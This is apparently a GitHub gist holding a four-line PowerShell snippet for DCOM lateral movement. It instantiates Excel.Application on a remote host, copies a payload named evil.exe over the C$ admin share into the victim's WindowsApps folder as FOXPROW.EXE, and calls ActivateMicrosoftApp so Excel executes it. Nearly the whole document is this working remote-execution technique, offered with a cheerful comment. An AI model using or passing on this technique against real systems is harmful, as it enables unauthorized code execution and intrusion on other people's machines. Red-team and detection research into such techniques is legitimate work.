Skip to content

Instantly share code, notes, and snippets.

@rxwx
Last active September 14, 2017 15:06
Embed
What would you like to do?
DCOM binary planting via Excel.Application.ActivateMicrosoftApp
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
# Windows 10 specific, but searches PATH so ..
copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
$excel.ActivateMicrosoftApp("5")
# excel executes your binary :)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment